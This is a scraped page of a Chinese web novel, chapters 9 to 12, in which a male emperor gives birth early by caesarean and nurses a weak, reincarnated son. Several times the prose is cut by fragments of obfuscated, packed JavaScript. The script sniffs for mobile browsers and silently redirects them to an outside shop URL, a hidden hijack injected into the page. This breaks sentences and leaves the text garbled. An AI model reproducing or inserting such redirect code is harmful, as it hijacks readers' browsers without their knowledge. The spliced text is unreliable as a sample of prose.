0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846701|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 胎药,取出一个玄铁令牌放在石桌上。 清水没有推脱,替自家师傅谢过魏帝。 “好的,谢谢老爷,师傅要是知道您赐下令牌,肯定会很开心的。” 安胎药已经不烫嘴,魏帝一饮而尽,便挥了挥手让他拿着令牌跟碗出去。 他先前在皇宫里面很忙,现在突然闲下来反而有些不习惯。 魏帝已经许久没有什么打发时间的爱好,很久以前的爱好现在拿起来觉得很是陌生。 京城现在较为流行的话本他让人都买了过来,只是他刚翻开一本没看几页,就觉得不堪入眼。 难道是他很久没有看过,所以才会这么觉得吗? 他强迫自己又接着看了几页,认为不是自己的问题,他以前看的话本不是这样的。 为什么一个落魄书生会与一官家女子独自相见? 还有这官家女子怎么会舍弃家族与其私奔? 还在私奔之后愿意吃苦供养这落魄书生读书科举? 将其荣华富贵舍弃,宁愿去吃苦,这是什么人写出来的? 魏帝觉得大逆不道,先不说这落魄书生是怎么有官家女子单独相见,就论这私奔,私奔后这女子没有了户籍,连良家女都算不上,落魄书生想随意打杀了都没有人管,将自己的性命交到这男子身上,也是真够不怕死的。 他觉得写这书的人用心险恶,厌恶的将其丢到地上后,又拿起另一本,没看几页,觉得比上一本更恶心。 农门学子进京赶考留宿破庙里,火堆刚升起的时候,一队护送官家小姐进京的马车队伍也选择了进庙寺休整。 由奴婢伺候着下了马车的官家小姐入了寺庙后,见着里面的白衣学子,与之交谈,悄悄红了脸,两个在破庙生情,回京城后,这官家女子告诉她的官员爹说要嫁给学子,官员爹不同意,她便与学子私奔。 与上一本差不多的结尾,都是私奔后愿意吃大苦供养学子读书考科举。 辣眼睛。 这是什么? 官家女子们难道是什么非死不可的人吗? 写这些话本的人用心之险恶实在是让魏帝叹为观止。 年幼的小姐们若是被情情爱爱给蒙了眼听信了话本的故事,这可不是什么小事。 正途不走,专走歪门邪道吗? 而且还是在京城闹事,魏帝怎么可能会惯着他们? 他是怀孕了不错,可是又不代表他挥不动刀,手底下的人没用。 这种不正之风,在出事之前,必须要立马清干净,不然他生孩子的时候都不得安稳。 他做事更喜欢杀鸡儆猴,若是一个不够,那就再杀一个,两个不够就杀三个,三个不够就杀四个,要不被他全部杀掉,要不就自己改邪为正。 魏帝给他们两个选择,只是在还没有酿成什么大错的时候给他们两个选择,若是酿成了什么大错,他们全部都该死。 这世道的女子本来就可怜,他们还想着去欺骗女子,实在是该死。 就像他的母妃一样,明明已经被欺骗的一点不剩,竟然觉得还是不行,必须要把她的命一同要了,才肯罢休。 9. 第 9 章 这事魏帝写了封信让暗卫交给在京城的于年处理,这种小事不用他自己亲自去干预,他手底下一堆人,随便挑一个都可以解决好,若是这种小事都要他自己亲自动手,那他养那些属下干嘛?还不如去养条狗。 至于这次选于年,纯粹只是他更习惯用于年罢了。 剩下的话本魏帝都没有看,直接让伺候的拿去烧了,这种东西他连留都不想留,还不如烧的干干净净让人舒坦。 肚子里的小东西今日相对安静,没怎么活动,他反而觉得有些不习惯,平日里活动的有些频繁他会觉得烦,但是真正安静下来,他倒是认为与安静相比,小东西还是活泼些好。 他的两只手都放在了腹部,在这寂静的院子里,虽然太过安静确实让他觉得有些孤独,可是感知到肚子的小东西后,又觉得自己似乎没有那么孤独,但还是有人陪着的,虽然还没有出生,可到底是个人。 话本不好看,他就让人送来一副棋盘跟棋子来打发时间,大部分时间是他跟李太医一起下,少部分时间是他自己一个人下,自己与自己对弈是他以前从未尝试过的,现在开始尝试倒别有一番趣味。 只是魏帝没有想到竟然会有人比他的棋艺还差,他当初学棋就学了半年,主要是觉得下棋太过枯燥,还不如跟着沈观复一同出去游玩,或者是画一幅风景画,一幅人物画来的好。 他如今画画的时间挺少的,虽说还是喜欢,可到底没有了当年的兴致,反而对下棋生出了几分趣味。 魏帝算是深刻体会到了人终究是会变的,爱好与喜好很难长久。 院子里有一棵大树,枝条上生出的嫩芽已经长成了树叶,风一吹就会随着摇摆。 天气好的时候,魏帝会与李太医在院子里下棋。 这不,今天就是一个很好的天气,蓝天白云,气温适宜,他们就在用完午膳后一同在院子里对弈。 “老爷这步棋下的好。” 李太医并不认为他自己是个臭棋篓子,他单纯觉得陛下棋艺精湛,却不知实际上他们两个是半斤八两,魏帝只比他略胜一筹。 听到夸奖的魏帝嘴角弧度微微上扬了一些“你也挺不错,与前几日相比稍有进步。” 李太医摸着自己的胡子,他没有谦虚:“不瞒老爷,我其实也觉得我与前几日相比确实稍有进步。” 可话音一转,他说起了恭维魏帝的话来:“不过,这还得感谢老爷,因为老爷的棋艺精湛,所以与老爷每日对弈后,我的棋艺才会进步得如此快。” 李太医这话说的一点都不心虚,可是一旁的清水听着觉得怪心虚,旁人不知道师父的性子,他的做徒弟的还不知道吗? 这明晃晃的拍马屁,亏的他还以为自己的师父在庄子里的这段日子会老老实实的,结果呢,他的头还没有转过去,师父就给拍上了…… 讲真的,他这个做徒弟的,要不要附和一下师傅,也给陛下拍上几句? 就在他想开口的时候,他的眼睛对上了魏帝的眼晴,魏帝如今是个极有威严的人,他笑的不多,情绪变化不怎么明显,大多数都是面无表情,旁人是不是这样认为的清水不知道,但是在清水的认知里是这样。 那双漆黑如墨的眼眸似深潭,清水只是触及到了表面,心里头就生出了害怕。 他的唇动了动,到底什么话都没有说出来,师父常说他的胆子小,那个时候他还不认同,现在他认同了,他确实是胆子小没错,到嘴的话被他咽了下去,他飞快移开视线,低下头给魏帝与李太医的杯子里都倒上水, 李太医将自家徒弟的表现都收入眼底,看着徒弟的窝囊样,气不打一处来,但是自己养大的孩子自己知道。 别看这孩子表面上挺活泼的,可是实际上内心敏感又自卑,始终介怀着原本的乞丐身份,尝试过纠正,没有什么效果,最后他放弃了。 他虽为医者,可是只能够治疗患者的外伤,心病这种东西他治不了,只能够靠患者自己自愈,只要还不威胁生命,他并不打算去强行干预,指不定哪一天,这小徒弟就自己痊愈了。 ……… 意识从沉沦中苏醒,初初睁不开眼睛,但是感觉很舒服,像泡在温暖的水里,被什么东西紧紧包裹着,很有安全感。 他的四肢还可以活动,先是伸了伸手,小手触碰到了什么东西,很有弹性,他的力道似乎有些大,接接着他听到了有人发出嘶的一声。 初初反应过来自己打到了什么东西,赶忙把手收了回来,他把自己缩成一团,心里念叨着对不起,他不是故意的! 魏帝摸了摸肚子那块被打疼的地方,没想到这小东西还挺有劲,也不知是用拳头还是脚,他还没有反应过来那小东西就收回去了,让他连自己是被拳头打的,还是脚踢的都不知道。 他无奈地摸着自己的肚子“不是不让你动,只是宝宝你要轻些,父皇怕疼,受不了你的重击。” 听到传到耳边的话语,初初有些不明所以,他不太懂对方说的是什么意思,但是他能感觉到对方的温柔,原本害怕的情绪在这份温柔下消退了些。 初初觉得很委屈,他已经很久没感受到温柔了,在废土里,他被人人嫌弃存在,因为他是个小孩子,他是个拖油瓶,什么事都干不了,却还要吃东西,他们觉得给他吃东西就是浪费粮食。 可是初初的食物都是他自己捡的,他觉得他们蛮不讲理,但是他的小身板让他无法与他们为敌,毕竟他还只是个小孩子,还是个极为瘦弱且营养不良的小孩子,对方只是一拳就可以打死他。 他捡到的食物都是旁人不要的,上面长着各种各样的东西,初初觉得怪好看的,他不知道什么叫发霉,什么叫变质,他只知道这个东西能够让他填饱肚子,只要能填饱肚子,他才不管食物有没有发霉与变质,就是味道很差,他每次吃着吃着就想吐,可是只能够压下吐意,食物珍贵,他不能够吐出来。 魏帝缓了一会,等疼痛渐渐褪去,他看着面前被于年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846702|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 从宫里送过来的较为重要的一些奏折,缓过来就继续处理。 只是没有想到,他把这批奏折处理完,夜深后躺在床上,正要入睡的时候,他的腹部突然传来一阵剧痛,他的脸瞬间变得苍白,特别是在感觉到下身的凉意时,已经许久未曾慌过的魏帝,顿时就慌了起来。 魏帝早就了解过生产的过程,他自己若是没有猜错的话,下身的凉意是羊水破了造成的,自己现在大概率是要生了! “来人!” 他的门口一直都有人候着,听到他的声音,门口候着的人赶快进来,今晚的月色明亮,窗户未关,月光投进屋内,照在魏帝的身上。 哑奴看到魏帝脸色苍白,大汗淋漓的模样,脸也一下苍白了起来。 “暗一,出来。” 他的声音有些嘶哑。 穿着黑衣的青年悄无声息的出现在魏帝的床旁。 魏帝有些疼得受不了,呼吸有些乱,深吸了一口气后道:“去将李太医请过来,就说我要生了,快点!” 暗一:“是” 眨眼间,他就消失不见了。 魏帝抬眸看向身体僵硬的哑奴,吩咐道:“哑奴倒杯水给我。” 哑奴愣了几秒,回过神就去倒了杯水喂给魏帝喝下。 魏帝喝下水感觉自己舒服了一点点,可也仅仅只是一点点,他感觉自己疼的要被撕裂开,可是比起这些疼痛,他更担心的是,自己肚子里的小东西。 他怀上孩子到现在连八个月都没有,早产的孩子身体究竟会有多差他有了解过,大部分早产儿通常都活不了几个月,就算侥幸养大了,身体也会比寻常人要差,而且还必须要富贵着养,衣食住行都要注意,不能有半点含糊。 魏帝并不觉得这些是麻烦,他只要自己的孩子能活下来!只要能活下来就行!不管有多麻烦他都可以养得起,也愿意耗费这些功夫去养! 我的孩子,父皇会让你活下来的…… 若是你活不下来,父皇也定不会让你孤独的离去。 他的思绪到这的时候,眼神闪过一丝狠厉。 李太医是从床上被暗一喊起来的,听到陛下要生的消息,披着一件外衣,鞋子还没有穿好就赶了过来。 他坐到床旁把起脉,脸上惊疑不定。 喃喃自语:“怎么会这么早?不应该会这么早的啊?!” 他话音刚落下,清水就带着他早已准备好的给魏帝接生孩子的大木箱赶了过来。 清水在门口就听到了师父的话,不明白都这个紧要关头了,师父竟然还有闲心想别的?! 他是提着大木箱跑过来的,气息混乱,深吸了几口气,平复了呼吸后,站到师父的面前喊道:“师父!你别管为什么会这么早!先接生啊!老爷都快要疼晕过去了!” 李太医听到自家徒弟的话后,马上反应过来,也觉得自己不应该想这些有的没的,将脑子里面的疑惑全部压下,全身心都投入了为魏帝接生中。 10. 第 10 章 因疼痛而产生汗水浸湿了被褥,魏帝已经喝下麻沸散,疼痛稍有减退,可是却不能全部消失。 泪水溢出眼眶,从脸颊上滑落下去。 好疼,真的好疼,他感觉自己的整个身体在被碾碎,他从来没有这么疼过,疼得他感觉自己像是生不如死。 原来生孩子这么痛的吗? 那么当初母后生自己肯定也有这么痛?!可能还更甚,毕竟女子的疼痛敏感度比男子要高些。 人疼到极点的时候,身体是没有什么力气的,魏帝能感觉身下的液体还在往下流,他真的很害怕肚子里的小东西出事。 这可是他的孩子啊!在他的肚子里慢慢长大到如今的大小! 这是他的血脉,是他在这个世上唯一的亲人了! 魏帝的喉咙有些哽咽,他的眼眶发红,瞧着李太医认真道:“一定要保住他!” “李太医,我求你……一定要保下他!” 他的脸色很苍白,大汗淋漓,看着李太医的眼神像是孤注一掷的母狼,瞧的李太医心惊胆颤的。 “臣会尽全力的,陛下别激动!” 李太医看过也接生过许多孕妇生产,他比魏帝要清楚早产的婴儿存活率,若是九月产的婴儿,只有好好养着,基本都能存活,八月产的婴儿,必须要好好养着,就算耗费了大量的银钱,存活的概率也只有三,四成。 而陛下的孩子连八月都未满,存活的概率又要折掉一半,相当于只有一,两成的概率,如此低的概率,其实在他看来是必死无疑的,可是他说是不敢这样说的,在如今这样险要的情况下,他要是实话实说,他怕陛下也跟着孩子一同离去。 李太医下刀的手很稳,他虽然年纪大了,可是他每天都会进行锻炼,一口气爬一座山都不在话下,再加上他自从得知魏帝怀孕后,他就开始勤练刀工与缝针。 男子的尻骨与女子的尻骨不一样,要更狭窄些,想要靠自然产下可以说是不可行的,很容易难产,所以他们很早就做好了决定,要进行剖腹取婴。 初初从睡梦中醒来,隐约间听见了外面杂乱的声音跟脚步,他还不明所以,就感觉自己所处的极为温暖的地方被打开了。 紧接着他就被扯了出去,一双大手稳稳的抱住了他,他还有些反应不过来,可是心里有了一些猜测,还没来得及细究,疼痛就袭来了,有人用力的打了他几下,他完全控制不住自己。 “哇……” 比寻常婴孩还要细弱的啼哭响起。 魏帝听到了,在他看来还可以哭就是好事,代表着他的孩子还活着,甚至还有力气可以哭! 初初并非是个白痴,他听着自己的哭声,要是再不明白现在是个什么情况,他觉得自己就真的是个白痴了。 所以自己这是投胎转世了吗? 但是投身转世的话不是会没有上辈子的记忆吗? 可是为什么自己会有上辈子的记忆? 他小小的脑子有些想不明白,在废土他接受的教育不多,大多数都是他的父母在还没有逝去的之前教他的,但是他还没有学多少父母就在一次灾难中逝去了。 其实从某种意义上说初初是个文盲也是可以的,让一个文盲思考这么复杂的问题,实在是难为他。 他能知道自己是投胎转世就已经相当不错了。 初初没有哭几声就睡了过去,他觉得自己好累,明明在母亲的腹中的时候他从未觉得累,可是从母亲腹中出来之后,他就累得连哭都哭不出来了。 魏帝腹部的伤口已经缝好,李太医的手上全是血,他的缝针技术还是很不错的,皮肉上的针线相当整齐。 已经被重重叠叠裹好的初初被放到已经睡熟的魏帝身边。 魏帝还没来得及看一眼自己刚刚出生的孩子,他喝的麻沸散里有助眠的效果,可是由于他一直担心孩子,就一直强打着精神。 直到听到哭声,放下心来的同时,睡意也袭来了,睡意来势汹汹,他连抵抗都抵抗不了,眼睛一闭就沉沉睡了过去。 再次醒来的时候,天色大亮,应该是正午时分。 魏帝醒来的第一眼看的就是自己的肚子,看着自己已经平下来的肚子,他的心里头有一种空虚感,他已经习惯了孩子在自己肚子里,现在突然没了,第一天怎么都习惯不来。 他的身上盖着厚被子,春天里的天气古怪的很,时不时就降下温来,外面的天色虽亮,可是却也让人感觉到一丝阴沉。 孩子放在了床里面靠墙的位置,魏帝稍稍转过头,就看到了他,皮肤红彤彤的,瘦瘦小小的,才比他的手大一圈,太小了,小的他根本就不敢触碰,怕轻轻一碰就坏了。 他想离孩子近一些,身体稍微移动,腹部的伤口因此扯动一下,疼的他的眉心瞬间皱了起来。 动是动不了,他把手指伸到孩子的鼻下,呼吸落到手指上,确认好孩子还活着,他的心放下了一些。 可是他觉得自己的孩子太小了,他见过别的刚出生的孩子,两个孩子相对比,自己的孩子简直小得有些过分。 李太医进来时看到魏帝已经醒来,就让清水把药端进来。 房间内的血腥气还是挺重的,可是药端了进来后,药味直接将血腥气给压住了,苦涩的味道弥漫在鼻腔,魏帝脸上的神情没有什么变化,他稍微坐起来些,药已经放温,他直接接过一饮而尽。 腹部的伤口换完药,李太医收起药包,才想起来陛下似乎不知道孩子的性别。 “陛下,是个男娃娃。” 男孩还是女孩魏帝都不怎么在乎,虽然男孩可以更好地继承他的皇位,没有什么人会反对。 女孩是要相对来说麻烦一些,老古板们若是知道他的打算肯定不会接受,可是这并不能够代表他不能够办到,对他来说很简单就可以解决,只要把制造麻烦的统统都解决掉,不就没有麻烦了吗? “男娃娃还是女娃娃朕都不在乎,只是他太小了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846703|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>魏帝垂眸看着他,脸上的温柔溢都要溢出来了。 “小主子还未满八月就出来了,比寻常婴儿小是正常的,臣已经给小主子喂了一些滋补的药,只是现在看着是还好,可是臣还是要跟陛下实话实说,不敢有所欺瞒,以小主子的身体在臣看来恐怕是难活过一岁。” 李太医也不想打击魏帝,只是魏帝作为生下孩子的“母亲”,关于孩子的情况肯定是要知晓的,这种事他不想对一个母亲欺瞒,就算是好意也不行。 这样的情况其实是在魏帝的意料之中,只是知道归知道,能不能接受就是另一回事。 “朕会让他活过去的,不论前路有多艰难。” 他的手指触碰到了那张小脸,孩子的小脸温热,触感柔软,他没有用力,只是轻轻的碰着。 魏帝的血气消耗的大,整个人都很疲倦,他不想听李太医说的这些话,气愤是有的,他生气李太医为何不能够说些好话,生气他自己为何没有让孩子在自己的肚子多待些日子,多待一天都会增加一分活下去的可能。 李太医哪能不知道自己说的这些话是可以让魏帝砍他头的,可是他都已经这个年纪了,话是活够了,早就做好了死的准备,而且若是因为怕死就选择对病情知情不报,在他看来是对自己医者身份的侮辱。 他看着魏帝与那个在襁褓里小巧的孩子,想起了以前看过的一本医书,里面有说过孩子母亲的初乳对孩子是有很大益处的,可以提高孩子的身体素质,他在想,是不是可以让小主子喝初乳? 只是他不知道自己该不该说出来,这种话他觉得有些难以启齿,主要是怕魏帝觉得他这个老头子是个变态。 但是他这也确实是没有办法的办法。 男子并非是不能够产乳,只是需要用些手段加药物辅助,李太医办法是知道的,但是他没有尝试过。 魏帝视线从身旁孩子的身上移到了床旁,久久不动的李太医身上,他看到李太医欲言又止,似乎有话想说,可是有所顾虑,不敢说出来的模样。 “李太医有话直说,朕不会怪罪你。” 他要是真想怪罪李太医,刚刚在李太医说出他的孩子活不过一岁的时候就会怪罪,将其赐死,而不是会留到现在。 魏帝觉得自己的生机已经牵连上自己的孩子,恐怕等自己的孩子凋零的那一天,他自己也会随着一起凋零。 得到魏帝不会怪罪的话,李太医顾虑消失,敢大胆发言了。 ……… 魏帝:“………” 李太医的话,让魏帝觉得不是自己疯了就是李太医疯了! 他是说了不会怪罪李太医,可是这并不代表着李太医就可以在他面前胡言乱语。 身为一个男子,怎么可以产乳?! 只是在听到或许可以让孩子存活下来的几率增加后,魏帝又迟疑了。 在他的心里,只要能让自己生下的孩子好好活着再长大,不论什么后果他都是可以承担的。 11. 第 11 章 熟悉的心跳声在耳边响起,清醒过来的初初身体实在是没有什么力气动,他感觉自己很虚弱,甚至可以说虚弱的不正常,可是他却拿这种不正常没有什么办法。 眼前的一切都是模糊的,虽然可以看到一些影子,可是这些影子并不能够让他分辨出来自己面前的到底是什么。 他趴在魏帝的胸前,觉得他投胎转世的妈妈身上好温暖,初初用小脸感受着妈妈的温度,一大一小紧紧的贴在一起。 魏帝伸出一根手指放在孩子的手中,看着自己的手指被孩子的整个手握住,眼中闪过一丝水光。 “太小了,父皇都不敢碰你。” “李太医那个老东西说你大概率活不过一岁,父皇不想相信,可是你有多虚弱以及脆弱父皇都看在眼里。” “父皇小的时候一直觉得只要当上皇帝就能无所不能,可是真的当上之后才发现并非如此,还是一样的会失去,一样的有不会做的事。” “我将你带到了这个世上,却无法将你护着平安长大,这是父皇的不对。” “父皇很想求你别离开,毕竟父皇我只有你了,你如今就是我的一切,可是病痛的感觉实在是太过痛苦,你还这么小,父皇舍不到你受苦……” 如今被他囚在皇宫里的上一任魏帝的孩子除去他自己,基本都已经被他派人杀完了,其中是有关系还算不错的,可是在他们成为魏帝威胁的那一刻起,他们就只是敌人,把敌人视作亲人是件非常愚蠢的事情。 初初眨了眨无神的眼睛,他人是变小了,可他的耳朵还没有聋呢。 他听到妈妈在心疼自己,甚至好像觉得自己很快就要死了?! 初初才不要死!上辈子他是没有选择,只有死路一条,可是这辈子他感觉自己还可以再撑一撑,上辈子照顾过他的一个老爷爷经常对他说好死不如赖活着,他觉得很有道理! 毕竟死了就什么都没有了! 而选择不死,在自己将自己养好后就可以把东西夺回来,这对他来说怎么都比死了的要好。 魏帝:“别怕,父皇会一直陪着你到最后。” 初初:“啊……!” 妈妈!别放弃的这么早啊! 窝还能活的! 不能说话就无法与妈妈沟通,他小小的脑袋里全是烦恼。 既然沟通这条路走不了,倒也不是没有别的办法,初初决定了!他要努力活过一岁惊艳一下所有人!特别是要惊艳到父皇口中李太医那个老东西! 他记着呢!是李太医那个老东西说他活不过一岁! 小本本先记起来,旁的事等以后再说。 ……… 魏帝到底还是接受了李太医的建议,小东西吃奶挑的厉害,怎么都不愿意喝乳母的,就连羊奶喝了几口之后就开始吐舌头,什么都不肯再喝。 他这辈子还没有做过这么出格的事情,但是喂着小东西喝过几次之后,他顿时觉得自己生的自己喂其实没有什么不妥,而且他都已经生了一个孩子,为什么还有怕喂奶呢? 这样的羞耻感在魏帝看来是不应该出现的,这本就是繁衍的规律,道德与羞耻不应该用在这种无关紧要的规律上,这件事让他更加的看清楚了世道对于女子的压迫。 魏帝转眼间就调整好了自己的心态,没有了刚开始的浮躁。 李太医给魏帝送完药后摸着自己的胡子,看着已经坦然接受的陛下,他只能说陛下不愧是陛下,心理承受与自我认知这一方面他确实自愧不如。 在魏帝整日的陪伴与喂养下,初初成功活过了半月,都说孩子一天一个样,可是魏帝瞧着自己怀里的小东西,确实天天都是一个样,皮肤还是那么的红,养胖了一些,看着没有那么皱皱巴巴的了。 他倒是不担心小东西未来会长得丑,他与小东西的爹长相都不俗,就算无法将他们的好相貌全部继承下来,可到底他们的底子摆在这里,再怎么样小东西都是不会长的丑。 魏帝肚子上的伤口恢复的很好,没有感染,主要也是他年轻再加上有习过武,有这么硬的底子在,想恢复的好再加快只要好好的听李太医的话,基本能得偿所愿,而且不会有什么大碍。 初初活到一个月的时候,他除了喝奶,还需喝药。 药水入嘴的瞬间他还没有感觉到苦,砸吧了一下嘴后,苦得他整张小脸都皱在了一起,本来长的就跟猴子屁股一样,小脸皱在一起后更像了。 好苦呀! 苦到他的心里去了! 他不喜欢这个味道,他喜欢吃那个甜甜的。 虽然初初不喜欢喝药水,可他到底没有吐出来,就算是换了个世界,他不想浪费的心还是在的,在废土能够吃的食物他都吃过,其中有许多味道很差的食物,比这药水还难喝。 他小小的身体陷在魏帝的怀里,李太医见他没有排斥吐出来,趁热打铁,又是一勺塞进他的嘴里,看他又吞了下去,之后就是一勺接一勺,直到碗里的药水喝完才停下。 魏帝拿着他自己的贴身帕子给小东西擦了擦嘴,再将小东西放在肩膀上,手轻轻的拍着小东西的后背,听到小东西打了个嗝,才把小东西又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏帝垂落在胸前的头发被小东西紧紧的抓住,小东西没有扯,只是抓着,他没有什么感觉,也就随意让小东西握着。 看着怀里小东西的眉眼不动声色的弯了弯,温柔的不像话。 初初喝完就是魏帝喝,他的药是温热的,魏帝端起来喝的干脆,喝的时候眉头都没有皱一下。 李太医见陛下已经喝完药,不打算久留,为了小主子,他准备回去看看偏门的医书,他不敢保证有效果,但是总比什么都不做的好。 12. 第 12 章 初初其实觉得自己的身体已经好了许多,不再像刚出生时的虚弱,可是李太医还有魏帝却并不这么认为。 他们将初初看的很紧,片刻都不愿意让初初离开他们的视线。 直到初初满了三月,他们才松懈了几分。 大概是魏帝的奶确实是有营养,初初现在比之前胖了有一圈,皮肤白净了起来,比之前长开了一些,两边脸颊鼓鼓的,有一双与魏帝一模一样的凤眼,瞧着好看的像个年画娃娃,与之前的模样截然相反。 清水现在还有些没有反应过来,为什么小主子只是三个月就大变样,而且还变得这么好看,简直让他猝不及防。 他挠了挠头,看着小主子将手指塞进嘴里,眼珠子颤了下,喊道:“老爷!小公子又吃手!” 清水不敢触碰小主子,像小主子这么小的孩子他见的少,虽然身份上也有原因,可是他害怕的情绪主要还是因为小主子太小,他觉得自己笨手笨脚的,万一他不小心伤着了小主子就不好了。 魏帝腹部的伤口已经恢复大半,这三个月他大多数都是待在房内,有小东西陪伴,无聊是不无聊,可是他闷太久,心里不免沉闷闷的。 他不想再闷下去,就想在院子里坐坐,于是趁着小东西身体有所好转,而且有清水可以帮忙照看,他就与李太医一起在院子里下棋。 听到清水喊的话,魏帝无奈的摇了摇头。 转过头回道:“无事,让他吃,他的手我已经洗干净,吃着不会闹肚子。” 清水这才放心:“好的,老爷。” 他趴在床旁,对上初初那双黑黑的眼珠子,想到师父跟他说的话,头往一旁偏了偏,他是个心里有自己想法的。 虽然是师父说的让他务必要保护好小主子,可是就算师父不说,他自己心里也是想保护小主子的。 不光因为小主子是小主子,还有就是小主子是他看着出生,然后活到现在,他很喜欢小主子,喜欢的不得了,只是看着就觉得很是开心。 师父说等他长大,要给他娶个漂亮的媳妇,再生个好看的娃。 清水想若是自己以后能有个像小主子这样的娃,他就觉得很满足了,而且他可以只要娃不要媳妇,但是又想到没有媳妇就不可能有娃,那还是有个媳妇的好。 找媳妇的事离他还过于远。 不过,孩子却近在咫尺。 清水到底还是没有忍住,他伸出手抓住了初初的小脚,小脚穿着袜子,还没有他的手掌大,他捏了捏,舔了舔唇后,忍不住笑了起来。 再抬眸的时候就对上了小主子的眼睛。 小主子的眼睛清澈,黑白分明,他眨了眨眼睛,若是没有看错的话,他怎么好像在小主子的眼睛里看到了一闪而过的无奈? 他愣了愣,觉得大概率是自己看错了,可还是心虚了起来,手回手后摸了摸鼻子,之后直到魏帝进屋,都再没有什么动作。 而突然被抓了脚的初初本来吃手正吃得欢,看到清水眼神亮晶晶的抓着自己的脚,还轻轻捏了捏时,他是很无奈的,感觉自己的脚被清水当成了玩具。 他知道清水没有什么坏心思,大概是因为好奇,要是他自己面对一个像自己一样的婴儿,初初觉得他大概也会像清水一样,忍不住捏捏婴儿的小手,小脚。 魏帝下完棋,心情愉悦。 他进来,清水便不用再守着,回去跟着他的师父李太医继续学习医术。 清水在学医方面还是有些天赋的,主要表现在记性好,草药李太医通常不用教第四遍,清水就可以记下来,而且还不会轻易忘掉,还能够举一反三,是天生的学医圣体。 魏帝已经做好了决定,等清水学有所成后将清水放在小东西的身边,至于李太医嘛,大不了他把人留在皇宫里,养老他包下了。 初初已经换了个手在吃,他的另一个手上全是口水,嘴里吃的手拿出来,估计口水不会比另一个手上的水。 魏帝瞧见后,已经能十分平静且娴熟的用清水沾湿了帕子,然后把小东西嘴里的手拿出来,慢慢的擦干净。 他从小到大就没有伺候过人,以前的她大概怎么都想不到,以后他伺候的唯一一个会是他自己生下来的小东西,而且还是心甘情愿的伺候。 这个时候的孩子总是忍不住拿到什么就往嘴里面塞,魏帝的头发已经被吃过几次,谁懂他醒来的时候看到小东西往嘴里塞头发,被自己制止后,还一脸委屈以及无辜的看着他。 魏帝:“………” 他生气倒不是生气,只是怕小东西把头发吞下去。 庄子里到底是太过简陋,连可以让小东西玩的东西都没有。 他的身体已经大好,特别是腹部上的伤口,只要勤换药,应该不出两月就可以好全。 所以他决定要带着小东西回去了,只是需要让暗一提前通知于年一声,让于年在宫里做好准备,特别是要给小东西准备的东西,都需要提前备好,等小东西到了皇宫,就可以直接用。 到了晚上,魏帝侧着身子将小东西圈入自己的怀中,他用手轻轻拍着小东西的屁股,一下又一下。 他看着小东西打了个哈欠,随后眼睛眯了眯再打开,如此反复了几下,最后再闭上眼睛后,没有再打开,而是睡得过去,呼吸平稳。 确认小东西睡着了,魏帝才停下拍屁股的动作,烛光映在他的脸上,让他凌厉的容貌柔和了几分,此时的他更像是少年时的萧恒,不像那个为了报仇不择手段登上皇位的魏帝。 他的手触碰到小东西柔软白嫩的小脸。 轻声喃喃道:“真好。” “以后你就叫萧之初,父皇会给你想要的一切,父皇对你的要求不多,只要你可以活着……” ……… 第二天清晨,露水还在树叶上,太阳刚刚冒头。 “陛下是打算后日就回皇宫?” 李太医摸着自己的胡子。 现在孩子都已经生了,而且陛下的伤口已经好了大半,剩下的只要坚持涂药不用多久就能好全,至于小主子,现在虽然距离养胖还差了一段距离,可是也不再是与刚出生时一般的虚弱,回皇宫的途中会有些奔波,难受大概率会有,但是应该不会出什么事。 魏帝:“嗯。” 早上起来他就给于年写了信,让暗一送了过去。 李太医:“陛下的决定,臣自然是赞同的。” 这种什么时候回去的事,他又做不了什么决定,一个臣子给皇帝做决定,要是这个皇帝无能,那么这个臣子大概率没什么事,可这个皇帝要是像魏帝一样,臣子为魏帝做决定,那么这个臣子肯定是嫌自己死的不够快,就如他,已经不稀罕老死,想被砍头,一刀下去,死都不能再死。 他最多能做的就是劝阻,可是除了必要的时刻他也不会轻易去劝阻,李太医又不是真的不怕死,能够不死的话,是个人都会选择不死的吧。 他前面说那些大逆不道的话,纯粹是没有办法,要是可以的话,他自己也不想这样说的,只是到底陛下是他恩人的孩子,而且他是陛下的臣子,他没办法做到什么都不说,好歹提前做好准备,等孩子真的走了,陛下不会那么难受。 李太医接着又想到了一件事,关于小主子的。 “对了,陛下,小主子现在可以出来照照太阳吹吹风了,长时间闷在屋子里,其实对小主子的身体不怎么好,之前是没有办法,现在小主子的身体已经可以承受住外面的阳光与风,就没有必要一直闷在屋子里。” “只是,陛下将小主子抱出来的时候,记得用手遮住小主子的眼睛,小主子第一次出来,眼睛不能够直视阳光,不然可能会伤到眼睛。” 